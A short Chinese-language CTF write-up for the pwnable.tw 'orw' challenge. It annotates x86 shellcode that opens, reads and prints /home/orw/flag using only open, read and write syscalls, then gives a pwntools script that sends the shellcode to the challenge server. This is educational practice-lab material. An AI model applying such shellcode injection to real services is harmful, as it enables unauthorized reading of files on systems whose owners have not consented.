題目pwnable.tw 的題目,第二題 orw
昨天寫到他就是一個可以輸入 shellcode 但是只能使用 open、read、write。
我們要想辦法讀到 flag,所以我們可以:
;設定 eax 寄存器為 5,是 sys_open 的編號
mov eax,5
;將要打開的文件路徑 /home/orw/flag push 進去
push 0x00006761
push 0x6c662f77
push 0x726f2f65
push 0x6d6f682f
; esp 寄存器的值(包含文件路徑)放入 ebx 寄存器
mov ebx,esp
;將 ecx 和 edx 寄存器設置為零
xor ecx,ecx
xor edx,edx
;觸發系統調用,執行打開指定的文件
int 0x80
;設定 eax 寄存器為 3,是 sys_read 的編號。
mov eax,3
mov ecx,ebx
mov ebx,3
mov edx,0x40
int 0x80
;;設定 eax 寄存器為 4,是 sys_write 的編號
mov eax,4
mov ebx,1
mov edx,0x40
int 0x80
透過 asm 轉換,整個 payload 如下
from pwn import *
p=remote('chall.pwnable.tw',10001)
p.recvuntil(':')
shellcode="""
mov eax,5;
push 0x00006761;
push 0x6c662f77;
push 0x726f2f65;
push 0x6d6f682f;
mov ebx,esp;
xor ecx,ecx;
xor edx,edx;
int 0x80;
mov eax,3;
mov ecx,ebx;
mov ebx,eax;
mov edx,0x40;
int 0x80;
mov eax,4;
mov ebx,1;
mov edx,0x40;
int 0x80;
"""
p.sendline(asm(shellcode))
p.interactive()